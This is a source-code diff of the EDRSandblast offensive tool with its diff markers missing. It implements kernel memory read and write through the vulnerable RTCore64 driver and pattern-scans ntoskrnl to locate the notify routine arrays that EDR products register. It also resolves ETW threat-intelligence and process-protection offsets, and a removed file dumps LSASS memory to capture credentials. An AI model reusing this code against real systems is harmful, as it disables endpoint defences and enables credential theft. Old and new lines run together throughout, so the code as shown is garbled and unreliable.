|
||||
#include "KernelUtils.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
|
||||
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
||||
|
||||
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_READ_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
|
||||
return MemoryRead.Value;
|
||||
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
|
||||
ReadMemoryPrimitive(Size, Address, Buffer);
|
||||
}
|
||||
|
||||
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
MemoryRead.Value = Value;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_WRITE_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
|
||||
WriteMemoryPrimitive(Size, Address, Buffer);
|
||||
}
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
|
||||
#define ReadMemoryType(TYPE) \
|
||||
TYPE ReadMemory ## TYPE ## (DWORD64 Address) {\
|
||||
TYPE res;\
|
||||
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
|
||||
return res;\
|
||||
}
|
||||
ReadMemoryType(BYTE);
|
||||
ReadMemoryType(WORD);
|
||||
ReadMemoryType(DWORD);
|
||||
ReadMemoryType(DWORD64);
|
||||
|
||||
#define ReadKernelMemoryType(TYPE) \
|
||||
TYPE ReadKernelMemory ## TYPE ## (DWORD64 Offset) {\
|
||||
TYPE res;\
|
||||
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
|
||||
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
|
||||
return res;\
|
||||
}
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
|
||||
ReadKernelMemoryType(BYTE);
|
||||
ReadKernelMemoryType(WORD);
|
||||
ReadKernelMemoryType(DWORD);
|
||||
ReadKernelMemoryType(DWORD64);
|
||||
|
||||
#define WriteMemoryType(TYPE) \
|
||||
VOID WriteMemory ## TYPE ## (DWORD64 Address, TYPE Value) {\
|
||||
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
|
||||
}
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
|
||||
WriteMemoryType(BYTE);
|
||||
WriteMemoryType(WORD);
|
||||
WriteMemoryType(DWORD);
|
||||
WriteMemoryType(DWORD64);
|
||||
|
||||
|
||||
#define WriteKernelMemoryType(TYPE) \
|
||||
VOID WriteKernelMemory ## TYPE ## (DWORD64 Offset, TYPE Value) {\
|
||||
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
|
||||
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
|
||||
}
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
|
||||
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
|
||||
WriteKernelMemoryType(BYTE);
|
||||
WriteKernelMemoryType(WORD);
|
||||
WriteKernelMemoryType(DWORD);
|
||||
WriteKernelMemoryType(DWORD64);
|
||||
|
||||
BOOL TestReadPrimitive() {
|
||||
return ReadKernelMemoryWORD(0) == *(WORD*)"MZ";
|
||||
}
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void) {
|
||||
DWORD cbNeeded = 0;
|
||||
LPVOID drivers[1024];
|
||||
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
return (DWORD64)drivers[0];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
|
||||
|
||||
LPVOID drivers[1024];
|
||||
DWORD cbNeeded;
|
||||
int cDrivers = 0;
|
||||
int i = 0;
|
||||
TCHAR szDriver[1024] = { 0 };
|
||||
DWORD64 minDiff = MAXDWORD64;
|
||||
DWORD64 diff;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
cDrivers = cbNeeded / sizeof(drivers[0]);
|
||||
for (i = 0; i < cDrivers; i++) {
|
||||
if ((DWORD64)drivers[i] <= address) {
|
||||
diff = address - (DWORD64)drivers[i];
|
||||
if (diff < minDiff) {
|
||||
minDiff = diff;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
||||
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
|
||||
}
|
||||
|
||||
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
|
||||
|
||||
if (!ptrDrvier) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
_tcscpy_s(ptrDrvier, 1024, szDriver);
|
||||
return ptrDrvier;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
HANDLE GetDriverHandle() {
|
||||
TCHAR service[] = TEXT("\\\\.\\RTCore64");
|
||||
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return Device;
|
||||
}
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function) {
|
||||
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
|
||||
DWORD64 address = 0;
|
||||
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
|
||||
if (ntoskrnl) {
|
||||
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
|
||||
address = ntoskrnlBaseAddress + offset;
|
||||
FreeLibrary(ntoskrnl);
|
||||
}
|
||||
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||
return address;
|
||||
}
|
||||
@@ -7,76 +7,69 @@
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
|
||||
DWORD64 PatternSearchStartingFromAddress(DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
|
||||
for (DWORD i = 0; i < bytesToScan; i++) {
|
||||
DWORD64 instructionAddress = startAddress + i;
|
||||
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
|
||||
DWORD64 dword64Instruction = ReadMemoryDWORD64(instructionAddress);
|
||||
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
|
||||
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
// _tprintf_or_not(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
if (dword64InstructionFixed == pattern) {
|
||||
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
_tprintf_or_not(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
return instructionAddress;
|
||||
}
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
|
||||
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
|
||||
DWORD64 ExtractRelativeAddress(DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
|
||||
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(instructionStartAddress + instructionRelativeAddressOffset);
|
||||
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
|
||||
return nextInstructionAddress + procedureRelativeAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
_putts_or_not(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern"));
|
||||
|
||||
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
|
||||
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
|
||||
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateProcessNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
|
||||
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
|
||||
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
|
||||
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspCreateProcessNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
_putts_or_not(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern"));
|
||||
|
||||
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
|
||||
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
|
||||
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateThreadNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
|
||||
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
|
||||
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
|
||||
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspCreateThreadNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
_putts_or_not(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern"));
|
||||
|
||||
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
|
||||
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
|
||||
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
|
||||
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
|
||||
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetKernelFunctionAddress("PsSetLoadImageNotifyRoutineEx");
|
||||
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
|
||||
_tprintf_or_not(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspLoadImageNotifyRoutineAddress;
|
||||
}
|
||||
@@ -1,95 +0,0 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <minidumpapiset.h>
|
||||
#include <tchar.h>
|
||||
#include "LSASSDump.h"
|
||||
|
||||
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
|
||||
{
|
||||
LUID luid;
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
|
||||
{
|
||||
bRet = (GetLastError() == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hProcess;
|
||||
PROCESSENTRY32 pe32;
|
||||
|
||||
TCHAR* outputDump = (TCHAR*)data;
|
||||
|
||||
//Enable the SeDebugPrivilege
|
||||
HANDLE hToken;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
{
|
||||
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Now walk the snapshot of processes, and look for lsass.
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
|
||||
continue;
|
||||
}
|
||||
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcesswith error 0x%x)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
|
||||
return 1;
|
||||
}
|
||||
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||
if (!dumped) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump with error 0x%x)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#include "ListUtils.h"
|
||||
|
||||
VOID freeLinkedList(PVOID head) {
|
||||
PLINKED_LIST previousNode = NULL;
|
||||
PLINKED_LIST currentNode = (PLINKED_LIST)head;
|
||||
|
||||
while (currentNode) {
|
||||
previousNode = currentNode;
|
||||
currentNode = currentNode->next;
|
||||
free(previousNode);
|
||||
previousNode = NULL;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
@@ -7,24 +7,25 @@
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "FileVersion.h"
|
||||
#include "PdbSymbols.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
union NtoskrnlOffsets g_ntoskrnlOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
|
||||
TCHAR ntoskrnlVersion[256] = { 0 };
|
||||
GetNtoskrnlVersion(ntoskrnlVersion);
|
||||
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
|
||||
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename) {
|
||||
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
|
||||
_tprintf_or_not(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
|
||||
|
||||
union NtoskrnlOffsets offset_results = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offset_results;
|
||||
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
TCHAR lineNtoskrnlVersion[256];
|
||||
@@ -35,13 +36,109 @@ union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
|
||||
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
|
||||
_tprintf_or_not(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
|
||||
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
g_ntoskrnlOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offset_results;
|
||||
}
|
||||
|
||||
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename) {
|
||||
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("a"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
_ftprintf(offsetFileStream, TEXT("%s"), ntoskrnlVersion);
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
|
||||
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ntoskrnlOffsets.ar[i]);
|
||||
}
|
||||
_fputts(TEXT(""), offsetFileStream);
|
||||
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
void PrintNtoskrnlOffsets() {
|
||||
_tprintf_or_not(TEXT("[+] Ntoskrnl offsets: "));
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END - 1; i++) {
|
||||
_tprintf_or_not(TEXT(" %llx |"), g_ntoskrnlOffsets.ar[i]);
|
||||
}
|
||||
_tprintf_or_not(TEXT("%llx\n"), g_ntoskrnlOffsets.ar[_SUPPORTED_NTOSKRNL_OFFSETS_END - 1]);
|
||||
}
|
||||
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) {
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
}
|
||||
g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateProcessNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateThreadNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolAddress(sym_ctx, "PspLoadImageNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolAddress(sym_ctx, "EtwThreatIntProvRegHandle");
|
||||
g_ntoskrnlOffsets.st.eprocess_protection= GetFieldOffset(sym_ctx, "_EPROCESS", L"Protection");
|
||||
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry= GetFieldOffset(sym_ctx, "_ETW_REG_ENTRY", L"GuidEntry");
|
||||
